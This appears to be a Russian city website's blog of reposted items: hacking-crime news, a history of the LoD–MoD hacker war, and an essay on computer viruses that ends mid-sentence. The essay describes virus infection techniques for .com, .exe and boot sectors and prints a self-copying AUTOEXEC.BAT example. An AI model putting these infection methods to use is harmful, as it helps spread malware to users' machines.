Сайт города Ядрина !

Накликался:Хакер приговорен к крупному штрафу

xakerd — Thu, 24 Jun 2010 08:22:45 GMT

"Российская газета" - Федеральный выпуск №5213 (134) от 22 июня 2010 г.
Версия для печати / сохранить материал

Суд Сормовского района Нижнего Новгорода приговорил хакера, разместившего в Интернете непристойные предложения от имени своей знакомой, к выплате штрафа в размере 240 тысяч рублей.

Из этой суммы 200 тысяч рублей получит жертва "пирата" в качестве компенсации морального ущерба. По мнению самой девушки, подсудимый взломал ее страничку в "Одноклассниках", обидевшись на то, что она удалила его из списка "друзей". Решив отомстить, он украл и поменял пароли от ее электронного почтового ящика и анкеты на сайте. В результате девушка не могла попасть на свою страницу. Злоумышленник тем временем вступал от ее имени в эротическую переписку с мужчинами, а также размещал фотографии порнографического содержания.

Суд счел его виновным по статьям "Неправомерный доступ к компьютерной информации" и "Нарушение тайны переписки". И приговорил к штрафу в размере 240 тысяч рублей.

Пентагон разыскивает автора WikiLeaks

xakerd — Thu, 24 Jun 2010 08:17:53 GMT

МОСКВА, 11 июня - РИА Новости, Илья Илембитов. Пентагон разыскивает некоего Джулиана Эссенджа (Julian Assange), создателя сайта WikiLeaks – ресурса, публикующего информацию, ставшую доступной вследствие утечки данных из государственных структур. Службы госбезопасности США опасаются, что в ближайшее время скандальный сайт опубликует большое количество секретной информации.

Издание The Daily Beast сообщает со ссылкой на представителей власти, что Пентагон надеется «выяснить местонахождение Джулиана Эссенджа, имеющего австралийское гражданство, и склонить его к сотрудничеству».

Сайт WikiLeaks был открыт в декабре 2006 года с целью публикации утечки секретных материалов различного характера, и к настоящему времени приобрел скандальную известность.

В данный момент в США под следствием находится аналитик разведки армии США Брэдли Мэннинг (Bradley Manning). Он обвиняется в том, что предоставлял WikiLeaks секретную информацию. Мэннинг уже признал, что передал WikiLeaks видео, запечатлевшее атаку вертолета армии США в Багдаде в 2007 году, в результате которой погибли 12 человек, включая двух журналистов Reuters.

Администрация WikiLeaks не подтверждает факт передачи какой-либо информации Мэннингом, но выражает готовность оказать ему юридическую помощь в случае, если дело будет рассматриваться в суде.

Представители Пентагона не сообщают, известно ли им что-либо о местонахождении Джулиана Эссенджа.

Владельцы WikiLeaks прикладывают немало усилий для того, чтобы обезопасить ресурс. Они используют несколько серверов по всему миру для дублирования информации. Таким образом, отдельно взятое государство не может воспрепятствовать работе сайта.

ФБР: террористы готовятся к кибератакам на США

xakerd — Sun, 07 Mar 2010 17:22:52 GMT

Террористические группировки, иностранные государства и криминальные организации создают растущую угрозу для безопасности США, так как могут атаковать правительственные и частные компьютерные сети страны. Об этом во время своего выступления на конференции, посвященной интернет-безопасности, заявил Роберт Мюллер, глава ФБР, сообщает Reuters.

Он отметил, что сейчас террористические группы, такие как Аль-Каида, используют Сеть не только для поиска новых членов и планирования терактов. По словам Мюллера, кибератака может нанести не меньший вред, чем установленная в правильном месте бомба.

Мюллер заявил, что также угрожают безопасности США правительства некоторых стран, стремительно наращивая свои ресурсы для интернет-шпионажа. О каких именно странах шла речь, глава ФБР не уточнил. "Террористы демонстрируют очевидный интерес к росту своих навыков в сфере кибератак - они либо обучают собственных сотрудников, либо нанимают сторонних специалистов. Делается это для объединения реальных терактов с атаками в киберпространстве. Наряду с террористами, некоторые государства также могут использовать интернет в качестве зоны ведения боевых действий по политическим причинам", - сказал Роберт Мюллер.

По его мнению, американским государственным сетям угрожают как хакеры на службе у государств или наемники, так и хакеры-одиночки или международные криминальные синдикаты, преследующие собственные цели. "Они стремятся завладеть нашими технологиями, нашими разведданными, нашей интеллектуальной собственностью и даже нашими стратегическими планами", - считает директор ФБР.

Разговоры об угрозе кибератак особенно активизировались в США после сообщения об атаках на компанию Google и еще около 100 различных ИТ-компаний. Напомним, что Google сообщил об атаках на свой сервис электронной почты Gmail во вторник, 12 января. Атака, по данным интернет-гиганта, велась с территории Китая. Целью хакеров якобы был сбор личной информации о десятках активистов различных групп по борьбе за права человека в Китае.

Мюллер подчеркнул, что международное сотрудничество является критически важным фактором для борьбы с киберпреступностью. Сейчас у ФБР есть около 60 представительств по всему миру, которые сотрудничают с властями разных стран.

Недавно правительство США рассекретило ряд своих инициатив по охране государственных сетей в рамках стратегии по продвижению глобальной интернет-свободы. Программы, о которых идет речь, были приняты в 2008 г. еще во время правления администрации президента Буша. Они включают в себя планы по созданию межведомственной контрразведки в киберпространстве, а также мероприятия по повышению уровня безопасности в правительственных компьютерных сетях, меры по обнаружению и предотвращению вторжений в государственные информационные системы, и проведение исследований в сфере информационной безопасности.

Беспрецедентное преступление в Башкортостане

xakerd — Thu, 19 Feb 2009 08:54:45 GMT

Беспрецедентное преступление в Башкортостане: в крупном уфимском супермаркете злоумышленники обворовали банкомат, причем, совершенно необыкновенным способом.

Использовав клиентскую клавиатуру и сервисный код, они установили собственный курс американской валюты в банкомате, повысив его до 1500 рублей. Засовывая в банкомат по одной купюре, они обменяли 800 долларов США на 1,2 миллиона рублей.

- По данному факту еще в декабре было возбуждено уголовное дело по статье 159 часть 4 УК РФ, - мошенничество, совершенное организованной группой в особо крупном размере, - сообщил старший помощник прокурора Уфы Дим Абдуллин. - В настоящее время ведется розыск подозреваемых.

Как стало известно корреспонденту "РГ" из компетентных источников в правоохранительных органах, несмотря на то, что преступников засняли видеокамеры в супермаркете, их розыск почти месяц не давал результата, и лишь вчера один из трех "хакеров" был задержан. Теперь он дает показания. В частности, следствие очень интересует, где его подельники, и как им удалось взломать сервисный код. Подозреваемым грозит лишение свободы на срок от пяти до десяти лет со штрафом в размере до одного миллиона рублей.

История компьютерного андеграунда::Legion of Doom vs Masters of Deception - великая хакерская война

xakerd — Thu, 19 Feb 2009 06:03:59 GMT

Самая известная, самая многочисленная и самая авторитетная - на
протяжение 80-х гг. группа Legion of Doom была идолом компьютерного
андеграунда. Членство в LoD однозначно говорило о высокой
квалификации и как минимум вызывало уважение.
Хакеры из Legion of Doom вполне могли учинить хаос в любой
коммерческой компании, но главным правилом в группе было следование
хакерской этике. Каждый мембер специализировался в какой-то области,
а постоянное комбинирование талантов делало группу еще сильнее. До
конца 80-х она была номером один на просторах компьютерного
андеграунда, но вскоре нашлась команда, которая кинула вызов
могущественной LoD. События, произошедшие после этого, вошли в
историю как: "Великая хакерская война".
Legion of Doom
Хакерская группа Knights of Shadow в 1984 г. включала в себя только
известных личностей. Если ты не успел прославиться на олимпе
андеграунда, какими бы знаниями ты не обладал, путь в нее для тебя
был закрыт. Lex Luthor'а знали многие. Несмотря на свой юный
возраст, он уже успел проникнуть в несколько сложных систем и на
фрикерских BBS пользовался авторитетом знающего человека. Поэтому,
когда Lex попросился в KoS - остальные мемберы не стали возражать.
Тусуясь на разных бордах, Lex Luthor познакомился со многими
хакерами. На подобных Plovernet и Osuny досках можно было встретить
специалистов всех мастей. Чтобы расширить общие знания в группе, Lex
предложил парням из KoS зачислить в коллектив несколько его друзей,
имеющих отличную квалификацию. Но, несмотря на все доводы, ему
отказали. У кандидатов действительно имелись хорошие знания, но
звездами они не были, громких подвигов не совершали, так что места
для них не имелось. Такая идеология разозлила Lex'а и он решил
оставить группу, чтобы сформировать свою. Такую, где будут цениться
не сомнительная популярность, а знания и умения человека.
В том же 1984 г. Lex запустил новую BBS'ку Legion of Doom и попутно
принялся сколачивать команду с одноименным названием. Имя группы
взялось не от фонаря - в начале 80-х по телевизору часто крутили
мультсериал "Superfriends", в котором главный злодей Lex Luthor
возглавлял банду Legion of Doom, всячески строившую козни героям.
Этот антигерой был для своего рода кумиром для хакера. Основной
костяк команды набрался из Plovernet - в то время центровой борды
компьютерного андеграунда. В основном в группу вошли ближайшие
друзья Lex'а плюс несколько просто зарекомендовавших себя ребят.
Первоначальный состав выглядел так: Lex Luthor, Karl Marx, Mark
Tabas, Agrajag the Prolonged, King Blotto, Blue Archer, EBA, The
Dragyn, Unknown Soldier. На протяжение следующих десяти лет он много
раз менялся - одни приходили, другие уходили. В какой то момент
группа разделилась на две: Legion of Doom, которую составляли больше
опытные фрикеры, и Legion of Hackers, члены которой занималисхь
компьютерным взломом. Когда все мемберы стали хакерами две
разрозненные команды соединились в одну - LoD. С 1985 г. ее лидером
стал Erik Bloodaxe (Крис Гогганс), занимавшийся организаторскими
вопросами и в большинстве случаев приводящий новых людей. Судьба
кандидатов решалась путем голосования остальных мемберов.
Благодаря хорошо развитой инфраструктуре, группа принимала активное
участие в развитии компьютерного андеграунда. Члены LoD часто
выпускали security документации, проводилис андеграундовые тусовки,
они же были основным источником новостей хакерского мира. А Legion
of Doom BBS вскоре стала самым большим в мире архивом информации на
хакерскую тематику. Мегабайты текстов хранились на винте борды, но
доступ к ним имели лишь избранные. Несмотря на известность самой
группы, ее хакерская деятельность оставалась в тени. Активные
мемберы избегали публичной славы и обсуждали свои проекты
исключительно в закрытых от посторонних местах. В связи с этим очень
скоро над LoD навис черный ореол. Как только ее не называли, и
"организованная группа кибертеррористов", и "банда подростков,
сформированная для уничтожения сервиса 911", и даже
"коммунистическая угроза национальной безопасности". Если
непослушных маленьких детей родители пугали всякими чудовищами, для
системных администраторов настоящим страхом было стать жертвой
Legion of Doom. Но, несмотря на то, что хакеры LoD на протяжении
80-х проникли в десятки тысяч самых разных систем, практически
всегда посещение мотивировалось лишь исследовательским любопытством.
Взломщики тихо приходили, тихо скачивали интересующую их информацию
и так же тихо уходили, заметая следы. Были и исключения - некоторые
мемберы злоупотребляли своими знаниями и нарушали главное правило:
"Не навреди". Таких были единицы и LoD старалась избавиться от них
как можно быстрее (например, в конце 1985 г. из группы был изгнан
Terminal Man, который стер в одной из систем важную информацию).
То, что внутри хакерской команды разделялось на "можно" и "нельзя",
у федералов проходило под однозначной статьей "виновен", только с
разными сроками. За любовь к исследованиям поплатились многие хакеры
LoD: X-Man, Unknown Soldier, Sharp Razor, The Mentor, Bill from
RNOC, Thomas Covenant, The Prophet, The Leftist, Urvile и другие.
Практически каждый из сорока членов группы, если вовремя не
завязывал со своей деятельностью, рано или поздно оказывался под
колпаком.
Masters of Deception
В 1989 г., просматривая постинги на фрикерских BBS, Erik Bloodaxe
заметил, что какой-то парень подписывается: "Phiber Optik of the
LoD". Быстро вычислив номер телефона самозванца, Erik позвонил ему
домой и поинтересовался, какого дьявола тот говорит о своей
причастности к группе. "Потому что я и есть член группы" - спокойно
заметил Phiber Optik (настоящее имя: Mark Abene). Лидер LoD пояснил
Марку, что вступить можно только с разрешения активных мемберов, да
при наличии определенной квалификации. Но, едва разговор зашел за
технические темы, Erik понял, что по уровню знаний этот парень
опережает многих его товарищей. Phiber Optik был экспертом по
телефонным сетям и мог вытворять с ними что угодно. А помимо этого
был опытным хакером. Это при том, что парню едва исполнилось 17 лет.
Конец разговора резко отличался от начала - Erik Bloodaxe пообещал
обсудить кандидатуру Марка со своими друзьями и через несколько дней
Phiber Optik уже официально присоединился к Legion of Doom.
Уже спустя несколько недель некоторые мемберы LoD стали сожалеть о
принятом решении. Оказалось, что у Марка не только неординарные
мозги, но и не абы какое самолюбие вкупе с наглостью. Его сообщения
на форумах были пропитаны бахвальством, а некоторые поступки
компрометировали всю группу. Поэтому не прошло и полгода, как
талантливого новичка попросили вон.
Phiber Optik в 1989 г. уже был достаточно известен, а среди хакеров
Нью-Йорка вообще считался легендарной личностью. Тут у него было
много друзей и, покинув LoD, он стал подумывать над созданием своей
группы. Название предложил Пол Стайра - преуспевающий студент
престижного колледжа, а по совместительству начинающий хакер
Scorpion, с которым Марк познакомился полгода назад. Слово MoD -
было намеком на то, что новая группа хакеров на шаг впереди от LoD.
Собираясь вместе, члены будущей команды Masters of Deception ставили
конкретную цель - потеснить Legion of Doom с пьедестала славы и
обрести титул хакерской группы номер один. Состав группы выглядел
так: Phiber Optik, Scorpion, HAC, The Wing, Acid Phreak, The Seeker,
Lord Micro, Red Knight, Corrupt, Outlaw.
Большинство мемберов MoD особо не заботились о приципах хакерской
этики. Деяний одних только The Wing и Outlaw хватало, чтобы
обеспечить всех пожизненными сроками. Но, если раньше взломщики
направляли свою энергию на беспомощные серверы правительственных и
коммерческих компьютеров, то с начала 1990 г. их новой целью стала
группа Legion of Doom.
Война компьютерных умов
Первые месяцы после рождения Masters of Deception явных стычек между
MoD и LoD не было. Группы нередко пересекались на BBS, кидая друг в
друга разного рода подколки. Все началось с того, что однажды, в
разгар болтовни между шестерыми членами Legion of Doom на закрытой
телеконференции появился чужак. "Yo, dis is Dope Fiend from MoD" -
прозвучал громкий голос, прерывая беседу хакеров на полуслове. В
ответ тут же раздалось: "Выкиньте кто-нибудь этого нигера с линии!".
Автор заявления не знал, что на самом деле гостем был Corrupt -
единственный чернокожий мембер Masters of Deception, болезненно
воспринимающий любые проявления расизма. И уж тем более
презрительное "нигер" в свою сторону.
Ответный удар не заставил себя долго ждать. Джон Ли (настоящее имя
Corrupt'a) быстро нашел домашний телефон Erik'a Bloodaxe - лидера
LoD - и засыпал его издевательскими посланиями. Телефон в квартире
Криса звонил постоянно, не помогали ни уговоры, ни угрозы, ни
вешанья трубки. Хакер даже не мог понять, зачем и почему его
достают, так как в тот злополучный день не сидел в конференции.
Узнав, что его мучителями являются парни из MoD, Erik Bloodaxe решил
их проучить. В это время как раз в сети появилась написанная Acid
Phreak'ом история о рождении группы. С помощью простенькой
программы, заменяющий буквы на k001 х@цk3r$k13, Крис подредактировал
текст и в новом виде растиражировал его в публичных местах.
Выглядело так, как будто кучка ламеров решила рассказать о своем
величии. Для членов MoD, не ожидавших такого коварства, это был удар
ниже пояса. Открытое объявление войны.
Некогда безобидные подколки на BBS быстро превратились в яростный
флейм. Обвиняя друг друга в ламерстве и прочих грехах, хакеры не
упускали возможности продемонстрировать это на практике. Они
применяли все свои знания и изобретательность, атакуя вражеские
телефоны и компьютеры. То и дело у одного из членов той или иной
группы телефон переводился в режим таксофона, а система давала сбой.
Хранить файлы внутри компьютера стало небезопасно. Как и
разговаривать по телефону - линии постоянно прослушивались.
Идея стать лучшей хакерской группой в этой время еще больше
захлестнула MoD. Команда Phiber Optik'а старалась осуществить как
можно больше крупных взломов, и для поднятия авторитета выбирались
самые сложные системы. Legion of Doom была не в восторге от
происходящего, и просто огрызалась на нападки своих недругов. В то
же время Masters of Deception искала новые изощренные способы им
досадить. Весной 1991 Erik'у Bloodaxe даже пришлось обратиться в
ФБР, так как хакеры MoD поставили на прослушивание закрытую
телефонную линию его security фирмы Comsec. Клиенты вряд ли были бы
в восторге, что security эксперты, которым они доверили свою
безопасность, допустили проникновение в телефонную сеть посторонних.
Но заявление Криса об активности хакерской группы для федералов не
стало неожиданностью. Как оказалось, те уже давно следили за
назойливыми хакерами. Арест всей банды - был делом времени.
Несмотря на многочисленные улики, собранные за несколько месяцев, до
суда дело компьютерных взломщиков дошло только в июле 1992 г. Членов
MoD обвинили по 11 пунктам, "стоящих" по 5 лет тюрьмы и $250.000
штрафа. Но, то ли благодаря хорошему адвокату, то ли неким
смягчающим обстоятельствам, каждый получил не более года.
Legion of Doom просуществовала вплоть до 1994 г. В это время отошли
от хакерского сообщества немногие оставшиеся мемберы, и некогда
могущественная группа просто исчезла. Оставшись в памяти пионеров
тех времен, став неотъемлемой частью истории, превратившись в одну
из главных легенд компьютерного андеграунда 80-х.

Вирусы

xakerd — Thu, 19 Feb 2009 05:55:08 GMT

Вирусы. Они бывают разные - например, грипп, гепатит, герпес; а бывают еще и
компьютерные. Вот о них, родимых, и поговорим. Что же это такое - компьютерный вирус?

Объяснений, что такое компьютерный вирус, можно привести несколько. Самое простое -
бытовое объяснение для домохозяйки, которая ни разу в жизни компьютера не видела, но
знает, что Он есть, и что в Нем водятся Вирусы. Объяснение будет дано на примере
клерка, работающего исключительно с бумагами. Идея такого объяснения принадлежит
Д.Н.Лозинскому.

Представим себе аккуратного клерка, который приходит на работу, к себе в контору и
каждый день обнаруживает у себя на столе стопку листов бумаги со списком заданий,
которые он должен выполнить за рабочий день. Клерк берет верхний лист, читает указания
начальства, пунктуально их выполняет, выбрасывает "отработанный" лист в мусорное ведро
и переходит к следующему листу. Предположим, что некий злоумышленник тайком
прокрадывается в контору и подкладывает в стопку бумаг лист, на котором написано
следующее: "Переписать этот лист два раза и положить копии в стопку заданий соседей".

Что сделает клерк? Дважды перепишет лист, положит его соседям на стол, уничтожит
оригинал и перейдет к выполнению второго листа из стопки, т.е. продолжит выполнять
свою настоящую работу. Что сделают соседи, являясь такими же аккуратными клерками,
обнаружив новое задание? То же, что и первый: перепишут его по два раза и раздадут
другим клеркам. Итого, в конторе бродят уже четыре копии первоначального документа,
которые и дальше будут копироваться и раздаваться на другие столы.

Примерно так же работает и компьютерный вирус, только стопками бумаг-указаний являются
программы, а клерком - компьютер. Так же как и клерк, компьютер аккуратно выполняет
все команды программы (листы заданий), начиная с первой. Если же первая команда звучит
как "скопируй меня в две другие программы", то компьютер так и сделает, - и
команда-вирус попадает в две другие программы. Когда компьютер перейдет к выполнению
других "зараженных" программ, вирус тем же способом будет расходиться все дальше и
дальше по всему компьютеру.

В приведенном выше примере про клерка и его контору лист-вирус не проверяет, заражена
очередная папка заданий или нет. В этом случае к концу рабочего дня контора будет
завалена такими копиями, а клерки только и будут что переписывать один и тот же текст
и раздавать его соседям - ведь первый клерк сделает две копии, очередные жертвы вируса
- уже четыре, затем 8, 16, 32, 64 и т.д., т.е. количество копий каждый раз будет
увеличиваться в два раза. Если клерк на переписывание одного листа тратит 30 секунд и
еще 30 секунд на раздачу копий, то через час по конторе будет "бродить" более
1.000.000.000.000.000.000 копий вируса! Скорее всего, конечно же, не хватит бумаги, и
распространение вируса будет остановлено по столь банальной причине.

Как это ни смешно (хотя участникам этого инцидента было совсем не смешно), именно
такой случай произошел в 1988 году в Америке - несколько глобальных сетей передачи
информации оказались переполненными копиями сетевого вируса (вирус Морриса), который
рассылал себя от компьютера к компьютеру. Поэтому "правильные" вирусы делают так:
"Переписать этот лист два раза и положить копии в стопку заданий соседей, если у них
еще нет этого листа". Проблема решена - "перенаселения" нет, но каждая стопка содержит
по копии вируса, при этом клерки еще успевают справляться и с обычной работой.

"А как же уничтожение данных?" - спросит хорошо эрудированная домохозяйка. Все очень
просто - достаточно дописать на лист примерно следующее:
1. Переписать этот лист два раза и положить копии в стопку заданий соседей, если у них
еще нет этого листа.
2. Посмотреть на календарь - если сегодня пятница, попавшая на 13-е число, выкинуть
все документы в мусорную корзину.

Кстати, на примере клерка очень хорошо видно, почему в большинстве случаев нельзя
точно определить, откуда в компьютере появился вирус. Все клерки имеют одинаковые (с
точностью до почерка) КОПИИ, но оригинал-то с почерком злоумышленника уже давно в
корзине!

Вот такое простое объяснение работы вируса. Плюс к нему хотелось бы привести две
аксиомы, которые, как это ни странно, не для всех являются очевидными:
Во-первых, вирусы не возникают сами собой - их создают программисты-хакеры и рассылают
затем по сети или подкидывают на компьютеры знакомых. Вирус не может сам собой
появиться на вашем компьютере - либо его подсунули на дискетах или даже на
компакт-диске, либо вы его случайно скачали из компьютерной сети, либо вирус жил у вас
в компьютере с самого начала.
Во-вторых: компьютерные вирусы заражают только компьютер и ничего больше, поэтому не
надо бояться - через клавиатуру и мышь они не передаются.

Теперь попробуем дать более точное определение вируса. Основная трудность, возникающая
при попытках дать это определение, заключается в том, что практически все
отличительные черты вируса (внедрение в другие объекты, скрытность, потенциальная
опасность и проч.) либо присущи другим программам, которые никоим образом вирусами не
являются, либо же существуют вирусы, которые не содержат указанных выше отличительных
черт (за исключением возможности распространения).

Например, если в качестве отличительной характеристики вируса принимается скрытность,
то легко привести пример вируса, не скрывающего своего распространения. Такой вирус
перед заражением любого файла выводит сообщение, гласящее, что в компьютере находится
вирус и этот вирус готов поразить очередной файл, затем выводит имя этого файла и
запрашивает разрешение пользователя на внедрение вируса в файл.

Если в качестве отличительной черты вируса приводится возможность уничтожения им
программ и данных на дисках, то в качестве контрпримера к данной отличительной черте
можно привести десятки совершенно безобидных вирусов, которые кроме своего
распространения ничем больше не отличаются.

Основная же особенность компьютерных вирусов - возможность их самопроизвольного
внедрения в различные объекты операционной системы - присуща многим программам,
которые не являются вирусами. Например, операционная система MS-DOS имеет в себе все
необходимое, чтобы самопроизвольно устанавливаться на не-DOS'овские диски. Для этого
достаточно на загрузочный флоппи-диск, содержащий DOS, записать файл AUTOEXEC.BAT
следующего содержания:
SYS A:
COPY *.* A:\
SYS B:
COPY *.* B:\
SYS C:
COPY *.* C:\

Модифицированная таким образом DOS сама станет самым настоящим вирусом с точки зрения
практически любого существующего определения компьютерного вируса.

Таким образом, первой из причин, не позволяющих дать точное определение вирусу,
является невозможность однозначно выделить отличительные признаки, которые
соответствовали бы только вирусам.

Мнений по поводу даты рождения первого компьютерного вируса очень много. Доподлинно
известно только одно: на машине Беббиджа его не было, а на Univac 1108 и IBM-360/370
они уже были ("Pervading Animal" и "Christmas tree"). Таким образом, первый вирус
появился где-то в самом начале 70-х или даже в конце 60-х годов, хотя "вирусом" его
никто еще не называл.

Поговорим о новейшей истории: "Brain", "Vienna", "Cascade" и далее. Те, кто начал
работать на IBM-PC аж в середине 80-х, еще не забыли повальную эпидемию этих вирусов в
1987-89 годах. Буквы сыпались на экранах, а толпы пользователей неслись к специалистам
по ремонту дисплеев (сейчас все наоборот: винчестер сдох от старости, а валят на
неизвестный передовой науке вирус). Затем компьютер заиграл чужеземный гимн "Yankee
Doodle", но чинить динамики уже никто не бросился - очень быстро разобрались, что это
- вирус, да не один, а целый десяток.

Так вирусы начали заражать файлы. Вирус "Brain" и скачущий по экрану шарик вируса
"Ping-pong" ознаменовали победу вируса и над Boot-сектором.

Время шло, вирусы плодились. Все они были чем-то похожи друг на друга, лезли в память,
цеплялись к файлам и секторам, периодически убивали файлы, дискеты и винчестеры. Одним
из первых "откровений" стал вирус "Frodo.4096" - файловый вирус-невидимка (стелс).
Этот вирус перехватывал INT 21h и, при обращении через DOS к зараженным файлам,
изменял информацию таким образом, что файл появлялся перед пользователем в
незараженном виде. Но это была только надстройка вируса над MS-DOS. Не прошло и года,
как электронные тараканы полезли внутрь ядра DOS (вирус-невидимка "Beast.512"). Идея
невидимости продолжала приносить свой плоды и далее: летом 1991 года пронесся, кося
компьютеры как бубонная чума, вирус "Dir_II".

Но бороться с невидимками было довольно просто: почистил RAM - и будь спокоен, ищи
гада и лечи его на здоровье. Побольше хлопот доставляли самошифрующиеся вирусы,
которые иногда встречались в очередных поступлениях в коллекции. Ведь для их
идентификации и удаления приходилось писать специальные подпрограммы, отлаживать их.
Но на это никто тогда не обращал внимания, пока... Пока не появились вирусы нового
поколения, те, которые носят название полиморфик-вирусы. Эти вирусы используют другой
подход к невидимости: они шифруются (в большинстве случаев), а в расшифровщике
используют команды, которые могут не повторяться при заражении различных файлов.

Первый полиморфный вирус появился в начале 90-х кодов - "Chameleon", но по-настоящему
серьезной проблема полиморфик-вирусов стала лишь год спустя - в апреле 1991-го, когда
практически весь мир был охвачен эпидемией полиморфик-вируса "Tequila".

Год 1995-й, август. Все прогрессивное человечество, компания Microsoft и Билл Гейтс
лично празднуют выход новой операционной системы Windows95. На фоне шумного торжества
практически незамеченным прошло сообщение о появлении вируса, использующего
принципиально новые методы заражения - вируса, заражающего документы Microsoft Word.

А вирус, получивший к тому времени имя "Concept", продолжал победное движение по
планете. Появившись, скорее всего, в каком-то из подразделений Microsoft, "Concept" в
мгновение ока завладел тысячами (если не миллионами) компьютеров. Это неудивительно,
ведь передача текстов в формате MS Word стала де-факто одним из стандартов, а для
того, чтобы заразиться вирусом, требуется всего лишь открыть зараженный документ, и
все остальные документы, редактируемые в зараженном Word'e, также оказываются
зараженными. В результате, получив по Интернету зараженный файл и прочитав его,
пользователь, не зная того сам, оказывался "разносчиком заразы", и вся его переписка
(если, конечно же, она велась при помощи MS Word) также оказывалась зараженной! Таким
образом, возможность заражения MS Word, помноженная на скорость Интернета, стала одной
из самых серьезных проблем за всю историю существования вирусов.

Не прошло и года, как летом 1996-го года появился вирус "Laroux" ("Лару"), заражающий
таблицы MS Excel. Как и в случае с вирусом "Concept", новый макро-вирус был обнаружен
"в природе" практически одновременно в разных фирмах. Кстати, в 1997 году этот вирус
стал причиной эпидемии в Москве.

В том же 1996 году появились первые конструкторы макро-вирусов, а в начале 1997 года
появились первые полиморфик-макро-вирусы для MS-Word и первые вирусы для MS Office97.
Плюс к тому непрерывно росло число разнообразных макро-вирусов, достигшее нескольких
сотен к лету 1997-го.

Так что же происходит, когда вирус попадает в машину?

Так как вирус - программа, которую написал человек, то, естественно, как и все
программы, он имеет структуру, которая присуща и другим вирусам. Что главное для
вируса? Основным параметром вируса является размножение, если, конечно, его не писали
для определенных целей, типа добавить денег на счет "писателя" в каком-то банке.
Поэтому главный блок любого вируса - это блок размножения. Как же строится этот
"главный" блок вируса? Сколько разных идей было придумано программистами в этих целях?
В первых модификациях только "заражали" файлы .cом, .exe, .sys, т.е. те, которые
непосредственно содержали исполнимый код. Это понятно, но как искать эти файлы, ведь
на диске так много каталогов? Первые модели брали пути, которые они прописывают в
переменной PATH, и по ним искали "новые жертвы". Более поздние обыскивали весь диск,
открывая по очередности все каталоги системы (очень долгий процесс, поэтому на
компьютерах того времени это занимало довольно большой отрезок времени и сразу было
видно - вирус). Позже стали делать "резиденты-вирусы". Они "вешались" в памяти и
следили за тем, что делает ДОС. Как только ловили обращение системы к какому-то файлу
- мгновенно заражали этот файл-бедняжку. Вот так-то. С этим, вроде, решили (как найти
жертвы).

Теперь непосpедственно о заpажении. Спеpва поговоpим о .com виpусах, т.е. заpажающих
.com файлы. Если вирус помещает свое тело в начале программы, его местоположение
всегда жестко закреплено, при запуске этой зараженной программы он выполняется первым,
при этом его легко "поймать", притом после своей работы он должен возвращать ту часть
программы, на месте которой он расположился. Если тело вируса лежит в середине, то его
максимально трудно поймать и вылечить файл, так как необходимо вычислить, где именно
он находится, зато у вируса возникают проблемы - необходимо переносить после работы на
свое место блок, который был там до заражения. Еще один подводный камень для вируса,
передача ему управления. Ему необходимо где-то в начале сделать пеpеход на точку
выполнения, но вот только как делается такой пеpеход? Был придуман "фиктивный"
переход. Первый из них - это дописать в начале программы переход типа jmp addr, где
addr - точка запуска вируса, а после выполнения "черных дел" вирус вернет на место
этого jmp-а старый код, но при просмотре программ эту подмену можно легко заметить.
Поэтому сейчас применяют более изощренный метод. Дело в том, что команда jmp и call -
очень распространенные команды, и их использует практически любая программа. Поэтому
вирус ищет в начале программы код, соответствующий jmp addr или call addr и вместо
адреса в операнде подставляет свой, а после своего выполнения делает переход на старый
адрес. Увидеть подмену адреса - довольно сложный процесс. Если же тело вируса лежит в
конце, то у вируса возникают проблемы с запуском и возможностью легкого обнаружения,
но при этом нет необходимости переносить блоки, на месте которых находится вирус.

Теперь немного о заражении .exe файлов. У них есть заголовок, в котором прописаны
очень важные данные, как-то: требуемый размер памяти, сегмент стека, и, что более
важно, точка запуска программы. Следовательно, эту точку можно поменять так, чтобы она
как раз попадала на вирус, который может располагаться опять-таки, в трех местах (об
этом говорилось выше). Теперь, казалось бы, берется метод заражения файла с допиской
тела вируса в конец, и меняется точка запуска на точку запуска вируса. Но при таком
расположение вируса его легко обнаружить (антивирусы ругают те программы, у которых
точка пуска лежит в конце, ибо это редкость). Еще один камушек для вируса -
существование у .exe файлов оверлеев, т.е. кусков кода, которые при запуске не
грузятся в память, а их по необходимости подгружают в последствии. Так, если вирус
цепляется в конце файла, то у него нет гарантии, что он будет находиться в памяти
после запуска. Для этого находится абсолютный конец, т.е. такой участок, где
заканчивается сама программа и начинаются оверлеи. Потом сюда вписывается вирус, а
оверлеи сдвигают на длину вируса. Другие методы с допиской вируса в начало или
середину тоже используются при написании .exe вирусов. Но они для запуска тела в коде
программы уже ищут не jmp addr и call adrr, а jmp far addr и call far addr, т.к. .exe
файлы нередко превышают длину одного сегмента. Не стоит забывать и о заражении boot и
master-boot секторов. Этот способ повел за собой целую цепочку бутовых вирусов. Дело в
том, что в boot-записи, которая, для незнающих, находится на диске, в 1 секторе, 0
головке, 0 цилиндре, записана программа, которая "загружает" ОС. Эта программа
пускается в самом начале работы, т.е. как только определено наличие жесткого диска.
Именно программа, записанная в этой записи, "выкрикивает" известное сообщение: Non
system disk or disk error!!!

Так вот туда и помещают вирус, который получает управление еще до загрузки
операционной системы. Конечно, он не может использовать дисковых операций на уровне
DOS, но может, в крайнем случае, "повесится" резидентом в память. Следует заметить еще
одну интересную вещь. При заражении "умные" вирусы стараются заразить, прежде всего,
дискеты, т.к. эти дискеты могут перенести на другой компьютер и... тады ой.

После блока заpажения идет втоpой уже "необязательный" блок - тот, котоpого боятся все
пользователи. Это блок действия. Именно этот блок является "пpиятной неожиданностью" в
pаботе виpуса. Обычно он запускается не сpазу. Только "глупый" виpус выдает свое
пpисутствие сpазу. Умный сначала pазмножится так, чтобы система была уже "обpечена", и
узнает о существовании виpуса пользователь или нет - уже не имеет значения. Чаще всего
в теле виpуса имеется некий счетчик (Counter), в котоpом учитывается число "успешных"
заpажений. После того, как счетчик достигнет опpеделенного значения, идет запуск блока
действия. А в еще более изощpенных модификациях существуют 2 счетчика. Пеpвый тоже
содеpжит число заpаженных файлов, а втоpой - число заpаженных файлов на дискетах. И
только когда оба счетчика достигнут опpеделенного значения, запускается блок действия.
Зачем это делается? Да ведь если виpус, скажем, заpазит на жестском диске 1000 файлов
и отфоpматиpует его, то он сам себя и убьет. И не достигнет основной цели - выжить.
Именно содеpжимое блока действия создало такое pазнообpазие виpусов, что очень тpудно
пеpечислить все модификации, но основные виды можно попpобовать. Пеpвый тип -
безобидные демонстpатоpы. Они не делают ничего плохого, только мешают пользователю в
pаботе. Скажем, вдpуг на экpане появляется кpасный теннисный мячик и, отбиваясь от
символов, скачет по экpану. Или ни с того ни с сего начинают опадать буквы вниз (а-ля
листопад). Далее следует гpуппа так называемых пугающих виpусов. В пpинципе их можно
